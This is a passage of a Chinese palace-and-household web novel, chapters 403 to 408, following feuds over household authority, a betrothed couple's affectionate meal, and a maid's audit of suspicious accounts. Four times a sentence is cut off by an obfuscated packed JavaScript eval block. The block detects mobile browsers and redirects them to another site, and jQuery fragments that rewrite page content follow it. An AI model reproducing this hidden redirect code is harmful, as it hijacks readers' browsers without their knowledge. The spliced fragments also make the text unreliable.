她从未放在眼里的窝囊废大房,竟然不知道何时养出了这么一条会咬人的狗。
“那现在怎么办?半年禁足,还有娘的管家权……”陆玥君终于感到了一丝恐慌。
第403章 威逼和画饼
蒋氏目光阴沉得能滴出水来,她恨恨道:“怎么办?忍!现在只能忍着了。”
她看向女儿,语气带着一丝凶狠与决绝。
“你给我安分待着,好好抄你的书,别再惹事。抄完了家训,再抄一些祈福的经书……”
她话还没说完就被陆玥君打断了。
“还抄?”
陆玥君崩溃了。
抄家训就够痛苦了,还让她再抄祈福的经书,她这手怕是不用要了。
蒋氏恨铁不成钢地看着女儿:“你抄了祈福的经书,你祖父祖母看到你的孝心,自然不会再罚你那么重了。届时再让你弟弟去跟他们求情,你不就能早点出来了吗?”
陆玥君听到这话,恍然大悟,立马做出乖巧的模样:“女儿知道了,我都听娘的。”
听到女儿这话,蒋氏才觉得好受了些。
她抱着女儿,冷哼一声:“你乖乖的,外面的事,自有娘在!管家权……她以为拿过去就那么容易握得住吗?哼,**都没长齐的黄毛丫头,我看她能得意多久。”
陆珮君一个待字闺中的闺阁小姐,能拿着掌家权多久,之后嫁人了,不还得把掌家权还给她。
蒋氏眼珠子一转,想到了好主意。
陆珮君父母俱在,她一个隔房婶娘不好插手她的婚事,但可以让婆母去管啊。
*
陆珮君回了院子没多久,母亲袁氏就找上门来了。
她紧张又不可置信地看着女儿:“你让三丫头禁足时间加长了?还分了你二婶婶的管家权?”
陆珮君立刻沉下了脸:“母亲慎言。”
“禁足时间是祖父看三妹妹不知悔改,亲自下令加的,与我何干?”
“管家之权,也是祖父体恤祖母辛劳,让我跟着二婶学习打理,为长辈分忧,这是祖父的恩典和吩咐,怎就成了我的不是?”
袁氏被女儿这般强硬的态度噎了一下,脸上忧色更重,搓着手帕低声道。
“珮君,娘知道你没那个心思。可是、可是你这样一来,岂不是把你二婶和祖母都得罪狠了?”
毕竟二弟才是婆婆的亲生孩子,他们大房这样行事,定会惹得婆婆不喜。
二弟妹也不是个好相与的,日后他们在府里怕是更难了。
袁氏越想越焦虑。
自打上回惊马之后,女儿就像变了个人似的,越来越尖锐。
她想到这,忍不住又道:“女儿家,终究还是要柔顺些才好嫁人……”
陆珮君仿佛听到了天大的笑话,她冷笑一声:“柔顺些?”
看着女儿的神色,袁氏有些害怕,没敢再把话说下去。
陆珮君冷冷道:“我若再柔顺些,咱们大房就要被他们吃干抹净了!!!”
“我迟早要嫁人的,我若嫁出去,府里就剩你和父亲,难道你要让二房压在你头上一辈子吗?别忘了,大房还有润儿和沛儿。”
听她提到两个庶子,袁氏的眼神闪烁了一下。
她生不出儿子,妾室却接连生了两个儿子,她心中不平,迟迟不愿将两个孩子记到自己名下。
陆珮君看着母亲闪烁的眼神,心中了然。
她放缓了语气:“母亲,我知道润儿和沛儿是庶出,不是您肚子里爬出来的,您心里有疙瘩,我能理解。”
“可您想想这府里,除了他们两个,还有谁能算是我们大房的人?父亲那个性子,您指望他能为我们撑腰吗?”
袁氏张了张嘴,想要为夫君辩解。
但却说不出话来。
她心知肚明,女儿说得很对。
“当初我……”袁氏想要替自己辩解。
当初她也是想过把年幼的庶子记到自己名下,亲自抱着教养的。
可胡姨娘却说舍不得孩子,婆母和二弟妹让她退一步,横竖都是叫她母亲,谁养不是一样,她反倒还能落得个清闲。
她不敢顶撞婆母,夫君又偏袒姨娘,最后便成了如今这样。
两个庶子,一个五岁一个两岁,都在胡姨娘膝下养着。
陆珮君打断母亲的辩解:“当初是当初,现在是现在!当初您退让了,结果呢?胡姨娘仗着父亲宠爱和两个儿子,可曾真正敬您这个主母?二房可曾因为您的清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262985|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闲而放过打压我们?”
她不给袁氏回味过去委屈的时间,立刻给她下命令。
“母亲,您听好了。从今天起,您必须马上把润儿和沛儿记到您的名下。这是您作为大房主母的权利,谁也拦不住。”
“然后,您就去跟父亲说,润儿已经五岁,到了开蒙的年纪,不能再养在深宅妇人之手,必须搬到前院,让祖父亲自挑选先生教导。”
“而沛儿年纪尚小,离不得母亲照顾,自然要接到您的正院里,由您这个嫡母亲自抚养。”
她盯着袁氏的眼睛,步步紧逼:“父亲若不同意,您就去求祖父。祖父最重规矩,绝不会允许庶子长期被妾室拿捏。”
“胡姨娘若敢哭闹撒泼,您是当家主母,直接训斥她恃宠而骄、不懂规矩。二婶若来劝和,您就反问她是何居心,莫非是想让陆家子孙不懂礼数、尊卑不分?”
“你问问她,这天底下哪里有做弟妹的插手嫂子院子里事情的道理。”
这些时日她已经明白了。
在母亲面前哭诉卖惨是没有用的,她只会说这就是命,忍一忍就行了。
反而强势一点,推着她往前走,不给她选择的机会,她就能照做。
对付性子软弱没有主见的母亲,她只能这样“以下犯上”了。
袁氏被女儿这一连串强硬的操作指南说得心跳加速,既害怕又隐隐有一丝兴奋。
陆珮君见她有所松动,放缓了语气:“母亲,你要想改变,如今就是最好的机会。”
“我拿到了部分管家权,您正好可以借着照顾幼子、操心长子学业的由头,顺理成章地插手府中事务,一点一点把本该属于您的东西拿回来。”
“我会帮您的。我们母女联手,难道还斗不过二婶吗?”
袁氏细细品味着女儿的话,越琢磨越觉得在理。
原本她以为不可翻越的两座高山:婆母和二弟妹。
如今都在女儿手里吃了亏。
或许,她们母女同心协力,还真能改变大房在府里的处境,让那个总是高高在上的二弟妹吃瘪?
第404章 想早点见你
在袁氏摇摆不定之时,陆珮君握住了她的手:“母亲,您不是为了自己去争,您是为了我们大房的未来,为了您晚年能有所依,更是为了润儿和沛儿的前程。”
袁氏被她这话给戳中了。
两个女儿若是嫁出去之后,她膝下若无子,晚年可如何是好?
**姨娘教养长大的两个庶子,真的会孝顺她这个嫡母吗?
想到这,袁氏深吸了一口气,眼神逐渐变得坚定,重重回握了一下女儿的手:“好!我听你的,我这就去跟你父亲说。接沛儿过来,安排润儿去前院。”
虽然她的手在抖,但好歹是答应下来了。
陆珮君心中的大石顿时落地。
有了母亲这位名正言顺的主母在前面冲锋陷阵,很多她不好直接出手的事情,就好办多了。
*
棠云婋离开太傅府,没走多远,马车就被拦住了。
掀开车帘一看,是停云。
停云嘿嘿一笑:“郡主,王爷有请。”
“走吧。”棠云婋想到她确实有几日没见到王爷了,果断答应了下来。
也不知道王爷最近在忙什么。
马车刚在永安王府门前停稳,车帘还没完全掀开,外头就传来一个洪亮又带着笑意的声音:“哎哟,可是郡主来了?快!快开门!”
棠云婋探出身,就见王府的门房老钱一张脸笑得跟朵花似的,几乎是小跑着从门房里窜出来。
他一边吆喝着里头的小厮赶紧把正门再推开些,一边手脚麻利的冲过来亲自来摆脚凳。
老钱笑眯眯道:“郡主万福,您小心着点,今儿早上刚洒过水,地滑。”
停云:“???”
关心未来王妃,这不是他的活么,怎么钱伯还给他抢了?
棠云婋笑道:“钱伯,许久不见,您这嗓门可是越发洪亮了。”
“托郡主的福,小的吃得好睡得香。”老钱乐呵呵地,又冲里头喊了一嗓子,“快去禀报王爷,郡主驾到啦。”
王府总管家傅铮快步出来迎接棠云婋,给她引路。
“王爷恭候多时。郡主请随老奴来。”傅铮脸上带着无可挑剔的恭敬笑容。
一旁的停云忍不住开口:“傅叔,哪儿用得着您亲自带路啊,我领着郡主过去就行了呗。”
傅铮佯装没听到他说什么,连个眼神都没给他。
开什么玩笑,未来的女主人难得来一趟王府,他们当然要殷勤努力表忠心,好让王妃多记住他们一点。
停云这臭小子在王爷跟前办差,隔三岔五就能见到王妃,还跟他们争什么呀!
“郡主,这边请,小心台阶。”
被无视的停云:“……”
他只得默默跟上了。
一路上,无论是嬷嬷还是小丫鬟,看到棠云婋都摆出最热络的笑脸和最恭敬的姿态。
“给郡主请安。”
“郡主万福。”
跟在后边的九栀忍不住和衔蝉说起了悄悄话。
“这王府的下人,怎么感觉见到郡主跟见到金元宝似的,也忒热情了吧?”
衔蝉也是王府出去的,她自然知道他们在想什么,无外乎就是给未来的王妃留个好印象,日后王妃接管王府,给他们一个好前程。
衔蝉压低声音回应道:“郡主乃是未来的王妃,他们能不热情么。”
她看着四周羡慕的眼神,下意识地挺直了腰杆。
当初王爷选人去定远侯府的时候,她抓住了机会。
如今她成了未来王妃身边第一得用的大丫鬟,让她们羡慕去吧~
才走了没多久,棠云婋就看到了冲她快步走来的永安王。
“婋婋,你可算来了。”谢翊宁看到未婚妻,脸上不自觉地就泛起了笑意。
还没到地方呢,王爷怎么就来了。
她忍不住问道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262986|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嗯?王爷可是要出门?”
“出什么门,我是专程来迎你的。”谢翊宁的语气里带着几分藏不住的雀跃。
“方才下人说你到了,我就坐不住了。想着早一刻见到你也好,便赶过来了。”
他把“想见你”说得理直气壮,棠云婋看着附近那么多丫鬟嬷嬷,耳根子不由有些发烫。
王爷可真是……
这样的话能当着那么多人的面说么。
“走吧,京西庄户刚送了白梨来。这可是二百多年老树结的果,就结了这么几筐。父皇赏了我一筐,我特意让人挑了最润的留给你。”谢翊宁二话不说就牵她的手,把她往里带。
“咳咳。”棠云婋轻咳一声,想要把手抽回来。
不曾想,谢翊宁却握得紧紧的不肯撒开。
“王爷,有外人呢。”棠云婋小声提醒。
“哪有外人,都是本王的人,谁敢在背后乱嚼舌根。”谢翊宁理直气壮地扫了众人一眼。
傅铮赶忙让附近伺候的下人转过身去。
“你呀,只管把王府当成自己家,怎么自在怎么来。”谢翊宁笑着看向棠云婋。
棠云婋见状,也不再说什么,轻轻捏了捏谢翊宁的掌心,笑道:“我知道了。”
两人手牵着手去了花厅。
二人刚落座,丫鬟便端上一盘削皮切块、莹白如玉的白梨。
在他期待的目光下,棠云婋尝了一块。
白梨清甜的汁水瞬间溢满唇齿,她眼睛弯了弯,点头称赞:“清甜无渣,果然好吃。”
谢翊宁瞧着她满足的模样,眼里满是毫不掩饰的开心。
他最喜欢看小恩人吃东西的样子,每一次,都让他觉得再多的费心准备都值得。
棠云婋用完梨,他却不急着让人撤下,换上了一副神秘兮兮的语气:“方才这白梨不过是寻常点心,还有一个好东西,你猜猜是什么?”
第405章 爱让人幼稚
“我猜不到。”棠云婋诚实地摇了摇头。
“王爷给我准备的好东西实在太多了,想不出来是什么。”
她这话很好地取悦了谢翊宁。
他击掌两下,一名丫鬟应声而入,手中捧着一只素雅的白玉盖碗,轻轻放到了棠云婋面前。
盖子掀开的刹那,一股浓郁的异香袅袅散出。
“菌子和豆腐?”棠云婋好奇地看着他,想知道这有什么特别的。
“这是雁来蕈。”谢翊宁手指得意地在那白玉碗沿上轻轻一点,“认识不?”
棠云婋又一次摇头,这名字她还是头一回听说。
“这可是极稀罕的山珍,寻常年头都见不到的。也就大雁南飞之际,才会从苏南的松林底下冒头。一年也就长那么十天左右。我估摸着时候到了,前几日就遣了人快马守在苏州的山里头。”
“它刚冒头,立刻命人摘了快马加鞭连着土一块运回来。拢共最后好的就剩了那么一小筐,其他的我都让人送给父皇还有太子哥哥尝鲜了。”
他拿起旁边备着的细瓷调羹,轻轻搅了搅碗里的菌子和嫩豆腐,香味愈发浓郁。
随后他把调羹往棠云婋面前推了推,催促道:“你快尝尝!尝过之后保管你以后见了别的菌子都不稀罕了。”
棠云婋被他这一通说得也动了心。
瞧着碗里那散发出奇异浓香的菌子,再对上他那双写满了“快夸我我有好东西给你”的眼睛,忍不住拿起调羹,尝了一口。
入口的那一瞬间,浓缩到极致的鲜美猛地在唇齿间炸开。
她下意识地顿住了动作,舌尖上的滋味陌生又绝妙,待那鲜味缓缓化开滑入喉咙落到胃里,她才轻轻吐出三个字:“真鲜啊……”
这一声赞叹,让谢翊宁乐得眼睛弯成了月牙。
“我就知道你会喜欢。”
棠云婋听到这话,顿时有些愧疚。
王爷总是恨不得把好东西全都送到她面前,可她却好像没什么稀罕的东西能送给他。
“翊宁,你也尝尝。”她赶忙地盛了一勺菌子送到他嘴边,随后忽然反应过来,那勺子她用过,又赶紧想要撤回。
不曾想,谢翊宁却轻轻握住了她的手腕,就着她的手,毫不犹豫地将那勺菌子含入口中。
他的目光始终带着笑意,灼灼地望着她,仿佛品尝的是什么绝世美味。
待咽下后,他才松开手,舌尖似是回味地抵了抵上颚,笑得像只偷腥成功的猫:“果然,经了婋婋的手,这鲜味里便又多了一重甜。真好吃~~~”
一旁的衔蝉和九栀看着这一幕,忍不住捂唇偷笑。
郡主和王爷,可真般配啊~
两人还未成婚就这般恩爱,成了婚之后还得了?
有丫鬟看着,棠云婋脸瞬间涨得通红。
她发现自打表明心意之后,王爷就老喜欢逗她,每一次看她脸红他就愉悦。
棠云婋气鼓鼓地想要反击。
她将调羹塞到了谢翊宁手里:“那剩下的王爷喂我吃,想必经了王爷的手,这雁来蕈一定会更香。”
谢翊宁高高兴兴地接过:“求之不得。”
棠云婋:“……”
大意了。
她怎么感觉不管是她喂王爷,还是王爷喂她,先害臊的人总是她。
论脸皮厚,还是永安王更胜一筹。
但转念一想,一个能在太后宫殿随地大小躺的人,脸皮厚好像也很正常?
“婋婋乖,张嘴~”谢翊宁一副逗小孩的语气。
棠云婋臊得忍不住双手捂脸。
她发现自打赐婚后,他们俩好像变得越来越幼稚了。
根本没有半点王爷的威严和郡主的矜贵。
傻乎乎的,跟两个小孩似的。
“好啦好啦,我自己吃。”棠云婋一把夺过调羹,小口吃了起来。
谢翊宁爆发出一阵开怀的笑声,命人将另一碗汤也盛了上来。
两人吃饱喝足后,谢翊宁拉着她去书房,说起了正事。
“前些日我派人去边关的人回来了。”
听到这话,棠云婋立刻收起了笑意,变得严肃了起来。
“如何了?”
“边境没有异动,霍将军他们一切安好。”谢翊宁知道她关心霍将军一家,把事情仔仔细细说了一遍。
“那就好。证明咱们如今还是按照上辈子的轨迹在走。”棠云婋小声呢喃。
“嗯。按照上辈子的情况,北境是在十月底的时候忽然发动的战争。我早早禀明了父皇,粮草十月初便能送到边境了。”谢翊宁把自己的计划和盘托出。
自打他预言成功南阳大雨和许州大旱之后,父皇对他的话便深信不疑。
然后又假借皇祖父托梦的话,让官员们尽早开始筹备粮草。
“既然粮草足够了,那我再私底下筹备一些东西送过去。到时候让干爹派信得过的人去送给霍将军。”棠云婋转换了思路。
她原本计划是给边关送一批粮食的,避免日后粮草不够,霍家军的将士挨饿。
如今有永安王在,他盯着,皇上那边再盯着,粮草应该无忧了。
但冬日作战,寒冬腊月的,御寒的衣物可不能少。
还有药物,最好也提前准备一批送过去,省得到时候伤员受伤了,临时找不到药材,耽误了救命。
棠云婋将自己的想法说了出来。
谢翊宁连连点头:“婋婋这法子好,就按你说的办。”
棠云婋在当即写下了清单,准备派人大量去收购止血的金疮药,然后多多采买三七、血竭、乳香等跌打损伤药材。
除此之外,还得备上防治伤寒的桂枝、柴胡等,用于驱寒发汗。
写完之后,她正欲让九栀去找个大夫看看还有没有什么更合适药材需要添补。
她这边打算拿两万两银子买药,剩下两万两买御寒的衣物。
刚开口,停云就窜了过来。
“郡主,让我去,让我去!”
郡主来了那么久,活计全让旁人抢走了,他也要在未来王妃面前立功!
棠云婋见他这般积极,扭头看了一眼谢翊宁。
“可以让他去吗?”
毕竟停云是永安王的下属,总得问问他。
第406章 是搅屎棍子
“当然可以。”谢翊宁毫不犹豫地回答。
“你可是本王未来的王妃,王府的人都得听你号令。”
听到这话,棠云婋莞尔一笑,将此事交给了停云。
“辛苦你了。”
停云接过她写好的清单连忙摇头:“不辛苦不辛苦,为王妃分忧乃是属下的分内之事!”
聊完了正事,谢翊宁这才问起她今日去太傅府所为何事。
棠云婋便把棠云麒昨日太傅府里的遭遇告诉了他。
谢翊宁立刻就不高兴了。
竟然敢算计到他大舅哥头上,太傅府的人脑子是被狗吃了吗?
“婋婋,可要我出手帮你教训他们?”
“不必,这点小事哪里用得着你出手。我自己来就行。”棠云婋心里已经有了决断。
她原本对蒋氏母女只想着小惩大诫,但她们母女俩却跟颅内有疾似的,一而再再而三地来找她的事。
蒋氏更是恶毒,想毁了她兄长的名声,那就别怪她报复回去毁了蒋氏的名声。
算计别人,自然就要做好反噬的准备。
“行,反正婋婋这么厉害,肯定不会让他们好过的。”谢翊宁认同地点了点头。
棠云婋哭笑不得。
她怎么感觉,在王爷眼里她做什么都是对的,永远没有她做不好的事情。
*
棠云婋回到摘星山庄后,收到了陆珮君派人送来的谢礼,还有一封信。
她打开看了一下,忍不住露出了笑意。
没想到啊,这位看似温婉的陆二小姐竟能抓住时机,顺势从蒋氏手里撕下这么大一块肥肉。
她几乎能想象出蒋氏当时那打落牙齿和血吞的憋屈模样。
原本她只当陆珮君是个需要搭把手的聪明人,没想到竟然能给她那么大的惊喜。
想必陆二小姐对蒋氏吃瘪也会乐见其成。
这么看来,她教训蒋氏一事,应该很快就能搞定了。
棠云婋命人将花嬷嬷叫了过来。
“太傅府中事务繁杂,陆二小姐初涉此道,难免有疏漏不足之处,她来信请教,希望本郡主能点拨一二。”
“既如此,辛苦嬷嬷去太傅府小住几日。您对世家后宅这些规矩门道比我清楚得多。”
“您也不必声张,就在旁边帮着盯一眼,提点提点,别让那些积年的老奴欺她面生,或是出了什么纰漏,平白让人看了笑话。”
“是。”花嬷嬷答应了下来。
当日便带着两个小丫鬟,提着简单的箱笼去了太傅府,悄悄从太傅府后门去了大房的院落。
陆珮君没想到令嘉郡主派人来得那么及时。
她心领神会,次日一早,便带着花嬷嬷去了蒋氏处理家务事的抱厦。
蒋氏丢了一半的管家权心里正窝火,看到罪魁祸首陆珮君,脸上是半点笑容也没有。
“二丫头来了?可是有什么不懂的?这管家之事千头万绪,急不得,慢慢学便是。”
她敷衍了几句,意识到自己的态度不对劲,怕又被告到公公面前,只得努力挤出一个笑容,将一叠无关紧要的旧年杂项账本推到了陆珮君面前。
“喏,这是些往年的琐碎记录,你先拿回去看看,熟悉熟悉府里往日的开销用度。”
陆珮君尚未开口,一旁垂手侍立的花嬷嬷却上前半步,开口道。
“二夫人,恕老奴多嘴。看往年的旧账固然要紧,但如今已是九月中旬,秋收在即,各田庄的收成盘点、租子入库、以及年底各项祭祀、年礼的预备采买,才是眼下最紧要的。”
“不如请夫人先将今秋的收支预算、庄子上报的收成单子、以及与采办相关的对牌,分出一半给二小姐,让二小姐边做边学,岂不是更为妥当?”
蒋氏被这突如其来的插话噎得一哽,脸上那点假笑瞬间挂不住了。
一个老奴,也敢在她面前指手画脚,还句句点在要害上。
她当即沉下脸,目光锐利地扫向花嬷嬷,发现是一个没见过的下人,便误以为她是陆珮君从人牙子手里新买的嬷嬷。
当即呵斥道:“哪里来的不懂规矩的老货!主子说话,哪有你插嘴的份。太傅府里,还轮不到一个下人来说三道四。”
陆珮君见状,立刻上前一步,挡在花嬷嬷身前。
她行了一礼,语气温婉却没有半点退让的意
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262988|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
思。
“二婶息怒。这位花嬷嬷,是令嘉郡主身边得用的人。郡主听闻我初学管家,唯恐我年轻不懂事,出了差错惹祖母和婶婶烦心,特意请花嬷嬷过来指点我几日的。”
“花嬷嬷并非寻常下人,还请二婶客气些。”
蒋氏的脸色顿时变得很难看。
这个令嘉郡主真是个搅屎棍子,怎么哪哪都有她的事。
她的手未免伸得也太长了些,太傅府的家务事也管上了。
真是狗拿耗子多管闲事!
蒋氏心里骂得再凶,嘴上却半个字不敢反驳。
郡主的身份摆在那里,她派来的人,就算是个奴婢,也代表着郡主的颜面。
她若再继续斥责,那就是打郡主的脸。
若是寻常郡主她倒也不会那么忌惮,可这位郡主还是未来的永安王妃,是万万得罪不得的。
她硬生生把那口恶气咽下去,从牙缝里挤出一句话:“原来是郡主身边的人。倒是我失礼了。”
她狠狠瞪了那垂着眼睑一副恭顺模样却让她吃了个闷亏的花嬷嬷一眼,心里恨得滴血,却不得不对身边丫鬟道。
“去,把今秋各庄子的收成报单、年底的预算章程、还有采办的对牌……”
她深呼吸了好几口气,才忍痛说出了那一句“分一半出来,给二小姐。”
花嬷嬷微微躬身,语气平稳无波:“二夫人虑事周全。有您从旁指导,二小姐定能尽快上手,为您分忧。”
蒋氏咬紧后槽牙,又命人把往年的账簿给了陆珮君,想着多给她找点事,她一个黄毛丫头,定然看不过来,到时候她也好找借口教训她担不起事,还是把账本对牌还给她的好。
眼睁睁看着陆珮君拿走了那些东西,她只觉得浑身上下心肝脾肺肾都在疼。
这往后的日子,有令嘉郡主的人在一旁盯着,她想在关键事务上动手脚或是拿琐事敷衍搪塞,怕是难了。
陆珮君领着花嬷嬷回了院子,同母亲一起看起了账目。
花嬷嬷也在看。
她来太傅府,除了帮助陆二小姐站稳脚跟,拿住管家权,还带着郡主给的另一个任务。
第407章 递刀到手里
郡主说了,一定要揪住那位陆二夫人的狐狸尾巴,将她彻底打落尘埃。
蒋氏之所以能在太傅府横行多年,倚仗的无非是陆老夫人嫡亲儿媳的身份和掌家的权柄。
若要彻底扳倒她,只是分权远远不够,必须动摇她的根基。
毁了她在老夫人心中的地位,让她在京城的脸面彻底扫地,再也无颜出现在任何高门宴席之上。
贪墨中馈,教女无方。
这两项罪名,足够将一个当家主母钉死在耻辱柱上。
如今教女无方一事已经有了证据足够宣扬,那么只剩另一项了。
因此花嬷嬷看得极仔细,不仅看总数,更看细项。
采买的单价是否虚高?可有重复支取的款项?人情往来的礼物支出是否合乎规制?庄子上送来的收成与往年相比有无蹊跷的锐减?
……
世家大族的账目,做得再干净,也总有疏漏之处,尤其当掌家之人习惯了无人敢查之时,更容易留下把柄。
看了足足两个时辰,花嬷嬷终于找到了不对劲的地方。
她的声音带着隐隐的兴奋。
“二小姐,”她指尖点在一页账目上。
“您看这一项,去岁初冬采买上等银霜炭的数目和单价,似乎与今年初春采买的记录一般无二,连零头都丝毫不差。”
“这倒是奇了,市价岂有半年纹丝不动之理?且这价格,似乎比老奴所知市价高了足足两成。”
陆珮君和袁氏凑过来一看,发现竟然真是如此。
花嬷嬷又翻过几页,点了点上边的明细:“还有这几笔,都是打着给老夫人补身子的名头,从公中支取重金购买老参燕窝,但记录模糊,未见入库明细,也未见老夫人房中有用度记载。”
花嬷嬷抬起眼,意味深长地看向两人。
“这中馈账目,看似平整,细究起来,怕是藏着不少猫腻。若将这些疑点一一厘清,串联起来……恐怕就不是疏漏二字能搪塞过去的了。”
陆珮君心领神会,花嬷嬷这是将刀柄递到了她手中,就看她要怎么捅了。
她起身,亲手为花嬷嬷斟了一杯热茶。
“嬷嬷慧眼如炬,一针见血。若非嬷嬷指点,珮君只怕还要在这些迷账里打转许久,险些误了正事。”
“嬷嬷为我这般劳心费力,珮君实在过意不去。接下来的琐碎功夫,岂敢再劳动嬷嬷金睛火眼地一一筛查?”
“嬷嬷若不嫌弃,便在旁边歇歇脚,喝杯茶润润喉。珮君与母亲先自行梳理一番,若有不明之处,或寻到关键疑点,再向嬷嬷请教。如此,嬷嬷也能省些心力,不知嬷嬷意下如何?”
花嬷嬷闻言,眼底闪过一丝不易察觉的满意。
这位陆二小姐,果然是个上道的,一点就透,且行事有度,知进退,懂分寸。
怪不得郡主要让她来指点一二。
她确实也有些累了,年纪大了,盯这些细密账目颇耗精神。
于是,她顺势接过茶盏,脸上露出一抹疲惫又欣慰的笑容:“多谢二小姐体恤。既如此,老奴便偷个懒,在一旁歇息片刻。二小姐和大夫人若有任何差遣,随时唤老奴便是。”
说着,她便挪到一旁的软椅上,微微阖眼假寐。
见她眯起了眼睛,袁氏有些紧张地捏了捏女儿的手。
她压低声音询问:“这位花嬷嬷,究竟是什么意思?”
“自然是想让二婶永无翻身之地的意思。”陆珮君微微一笑。
袁氏吓了一跳。
永无翻身之地,她们母女,真的能做到吗?
她本能地感到恐惧和不确定。
陆珮君感受到了母亲的颤抖和退缩,她用力回握了一下母亲的手,目光坚定地看着她。
“母亲,事到如今,我们已经没有退路了。从我们接下这管家权开始,二婶就绝不会善罢甘休。”
“若不将她彻底按下去,等她缓过气来,反扑之时,您觉得我们母女还有润儿、沛儿,会有好日子过吗?”
她见袁氏眼神慌乱,又放缓了语气。
“所以,母亲,从现在起,您必须更努力地学,看清楚这账目里的每一个关节,弄明白每一项庶务的流程。女儿不可能永远挡在您前面。”
“我终究是要出嫁的,若到时二婶倒了,您却接不住这掌家之权,那我们今日所做的一切,岂不都成了泡影?”
袁氏听着女儿的分析,觉得这事实在是太难办成了,心底下意识地想要退缩。
但她看着女儿严厉又坚定的眼神,嗫嚅着唇,还是没把那些丧气话说出口。
她怕她说了,女儿又要一条
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16265663|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白绫去上吊,那她到时候在府中就真的是孤立无援了。
袁氏只得咬紧牙关道:“你放心,娘学!娘一定认真学!娘不会再拖你后腿了。”
她一边说一边主动将手边另一本账册拉到自己面前,努力集中精神去看那些让她无比头疼的数字和条目。
陆珮君看着母亲这副被自己硬逼着向前走的模样,心中有些酸涩,但更多还是松了一口气。
懦弱了半生的母亲,终于被她逼着有所改变。
如此下去,总比原地等死的强。
她不再多言,也重新拿起账本,慢慢翻阅了起来。
*
另一边,蒋氏的院子里,气氛却截然不同。
心腹嬷嬷邬氏一脸忧心忡忡,小心翼翼地给蒋氏斟了杯降火的菊花茶,低声道。
“夫人,那花嬷嬷毕竟是令嘉郡主身边的人,就这么安插到二小姐那儿,老奴有些担心……”
蒋氏正心烦意乱,闻言嗤笑一声,接过茶盏,语气里充满了不屑和一种莫名的优越感。
“有什么好担心的,你也太看得起那个老货了。”
“她的主子令嘉郡主明面上听起来高贵,可谁不知道她亲娘是个上不得台面的山野猎户?”
“她不过是运气好救了永安王,被皇上封了个郡主罢了。这等出身,她身边能有什么见识渊博、精通庶务的能人?”
她慢条斯理地拨弄着茶盖,继续道。
“咱们的账目,可是专门请了有经验的老账房做的,滴水不漏,每一笔开销都名正言顺。别说她一个猎户女儿身边的粗鄙老嬷嬷,就是宫里一般的管事嬷嬷来了,也未必能看出个所以然来。”
说到令嘉郡主,蒋氏心里一肚子的火。
这人先让她女儿罚跪又害她女儿禁足,如今还帮着陆珮君对付她,真是可恨。
但她拿令嘉郡主没办法,当即打定主意要给陆珮君使绊子,绝不能让她掌家掌得如此顺遂。
“去。”她吩咐邬嬷嬷。
“告诉下面各处管事的,二小姐年轻,许多旧例不懂,让他们‘好好’配合,‘仔细’回话。但凡二小姐有什么‘不合规矩’的吩咐,让他们不必急着照办,先来回了我再说。”
她倒要看看,没有她点头,陆珮君能调动得了这府里的什么人。
第408章 女儿嫁对人
祝家。
祝祷和夫人正看着嫁妆单子发愁。
他们早就给女儿准备好了嫁妆,但那会儿他们压根没想到过女儿会嫁到国公府去。
这份嫁妆单子对于他们这样的人来说,已经足够厚重了。
可若是给未来的世子夫人,那就有点不够看了。
“要不……”祝夫人犹豫着开口。
“把我那对翡翠镯子当了去吧?那是好东西,应该能换不少银子。”
换了银子,当做压箱银,多给女儿些底气。
祝祷猛地抬头:“那怎么行!那是你压箱底的嫁妆,是岳母留给你的念想。”
他眉头拧成个疙瘩,在屋里来回走了两步。
“要卖也是卖我那套舍不得用的金马鞍。”
祝夫人听到这话,眼圈有点红,既为女儿的婚事发愁,又心疼夫君。
怪只怪他们夫妻不中用,怎么就没给女儿多攒些陪嫁。
夫妻俩正相对发愁,唉声叹气地算计着家里还有什么能动又舍不得动的东西时,管家的声音从门外响起。
“老爷,夫人,门外有客求见,说是卫国公世子身边的长随。”
祝祷和祝夫人对视一眼,都看到了对方眼里的惊讶。
裴明镜的人怎么会这个时候来?
